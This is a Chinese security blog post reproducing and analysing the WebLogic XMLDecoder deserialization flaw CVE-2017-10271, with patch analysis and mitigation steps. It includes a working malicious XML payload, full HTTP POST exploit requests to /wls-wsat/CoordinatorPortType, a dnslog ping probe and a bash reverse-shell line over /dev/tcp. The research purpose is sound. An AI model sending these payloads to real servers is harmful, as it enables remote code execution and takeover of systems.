CVE-2017-10271 WebLogic XMLDecoder
Drunkbaby Lv6

CVE-2017-10271 WebLogic XMLDecoder

0x01 前言

复现一下 Weblogic XMLDecoder 的漏洞,值得一提的是,还有一个 CVE-2017-3506 也是 XMLDecoder 反序列化的漏洞,而 CVE-2017-10271 是通过 voidnew 标签对 CVE-2017-3506 补丁的绕过。

这篇文章的分析还是侧重点在 CVE-2017-10271

0x02 环境搭建

环境搭建与之前 Weblogic 漏洞的搭建一样,从本地搭建,用的版本是 jdk7u21 + weblogic 10.3.6,教程如下,不再造轮子了。

https://www.penson.top/article/av40#toc-heading-1

0x03 漏洞分析与复现

简单的 XMLEncoder 和 XMLDecoder

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的 XML 文档获取 JavaBeans。

  • 一些简单的 example 如下

XMLEncoder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.swing.*;  
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class EncoderExample {
public static void main(String[] args) throws FileNotFoundException {
FileOutputStream file = new FileOutputStream("result.xml");
XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file));
xmlEncoder.writeObject(new JButton("Hello,xml"));
xmlEncoder.close();
}
}

序列化了 JButton 类,得到的 XML 文档如下

XMLDecoder

代码 example 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.beans.XMLDecoder;  
import java.io.BufferedInputStream;
import java.io.FileInputStream;

public class DecoderExample {
public static void main(String[] args) throws Exception {
FileInputStream file = new FileInputStream("result.xml");
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
Object o = xmlDecoder.readObject();
System.out.println(o);
xmlDecoder.close();
}
}

使用 XMLDecoder 读取序列化的 XML 文档,获取 JButton 类并打印,输出如下

1
javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@7cd84586,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello,xml,defaultCapable=true]

XML 基础属性

string 标签

hello,xml 字符串的表示方式为 <string>Hello,xml</string>

object 标签

通过 <object> 标签表示对象, class 属性指定具体类(用于调用其内部方法),method 属性指定具体方法名称(比如构造函数的的方法名为 new )

new JButton("Hello,xml") 对应的 XML 文档:

1
2
3
<object class="javax.swing.JButton" method="new">
<string>Hello,xml</string>
</object>
void 标签

通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。

JButton b = new JButton();b.setText("Hello, world"); 对应的 XML 文档:

1
2
3
4
5
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello,xml</string>
</void>
</object>
array标签

通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = "Hello,xml"; 对应的 XML 文档:

漏洞影响版本

WebLogic 存在 WLS-WebServices 的组件皆会受到影响

漏洞原理

WebLogic 的 WLS Security 组件对外提供 WebService 服务,其中使用 XMLDecoder 来解析 XML 格式数据,其存在反序列化漏洞,从而导致 RCE。

  • 下面来看一个解析 xml 导致反序列化命令执行的 demo:
1
2
3
4
5
6
7
8
9
10
11
12
import java.beans.XMLDecoder;  
import java.io.BufferedInputStream;
import java.io.FileInputStream;

// XML 反序列化漏洞的 Demopublic class XMLDecoderEvilDemo {
public static void main(String[] args) throws Exception {
FileInputStream file = new FileInputStream("F://poc.xml");
XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file));
Object result = xmlDecoder.readObject();
xmlDecoder.close();
}
}

对应的 poc.xml 如下

1
2
3
4
5
6
7
8
9
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

使用 java.lang.ProcessBuilder 进行代码执行,整个恶意 XML 反序列化后相当于执行代码:

1
2
3
String[] cmd = new String[1];
cmd[0] = "Calc";
new ProcessBuilder(cmd).start();

漏洞复现与分析

漏洞复现

Weblogic 本质上是 Web Service 服务,报文内容类型是 SOAP 型 WebService 报文,所以 /wls-wsat/CoordinatorPortType 接口可以接收 XML 数据的请求包

构造恶意 XML 文件,和之前的一样

1
2
3
4
5
6
7
8
9
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>

POST 包整体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 482

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>Calc</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

如果是要弹 shell,或者执行 ping 命令探测,POST 请求包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1  
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping weblogic.16qkmh.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

如果是弹 shell 脚本,需要将原本命令执行的地方修改如下

1
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>

漏洞分析

首先看到 server/lib/wls-wsat.war/WEB-INF/web.xml 文件中存在许多接口,这些接口都可以对 SOAP 报文进行处理,也就是说,这些接口都存在 Weblogic XMLDecoder 反序列化的漏洞

接着我们去到 weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest 方法,这个方法对接口数据进行了初步的处理,打断点进行调试。

此处 var1 为我们的恶意 xml 数据,var2 获取了 xml header,也就是 text/xml,并将其转换为列表形式,var3 是从 var2 中获取 WorkAreaConstants.WORK_AREA_HEADER 得到的,最后将 var3 放入 readHeaderOld() 方法进行处理。

跟进,在构造出 var6 之前,本质上都是在做赋值的工作,var4 获取了恶意 XML 数据里面的内容部分。关于 var6 的构造,我们需要跟进 WorkContextXmlInputAdapter 类的构造函数

可以看到本质上是 new 了一个 XMLDecoder 类,并将 var4 的内容(XML 数据里的内容)赋了进去。继续往下,跟进 receive() 方法

receive() 方法生成了处理 XMLDecoder 类的处理器,进行下一步 receiveRequest() 的处理,再跟进

再跟进 readEntry() 方法,readEntry() 方法调用了 readUTF() 方法,跟进 readUTF() 方法,上面一直在做层层封装的工作

readUTF() 方法中,调用了 readObject() 方法,对 XML 数据进行反序列化解析。

漏洞分析至此结束

0x04 漏洞修复

CVE-2017-3506 补丁分析

这里补丁在 WorkContextXmlInputAdapter 中添加了 validate 验证,限制了 object 标签,从而限制通过 XML 来构造类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

绕过方法很简单,将 object 修改成 void,也就是最开始漏洞复现的 exp

CVE-2017-10271 补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

依然是进行黑名单判断

  • 临时解决方案

根据业务所有需求,考虑是否删除 WLS-WebServices 组件。包含此组件路径为:

1
2
3
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war

以上路径都在 WebLogic 安装处。删除以上文件之后,需重启 WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为 404 页面。

0x05 小结

整体漏洞还是相对简单的,很快就能看过去,这个漏洞实际上也为很多 Web Service 的组件提供了思路。

0x06 Ref

https://www.mi1k7ea.com/2021/04/05/%E6%B5%85%E6%9E%90WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2017-10271%EF%BC%89/
https://xz.aliyun.com/t/8465

 评论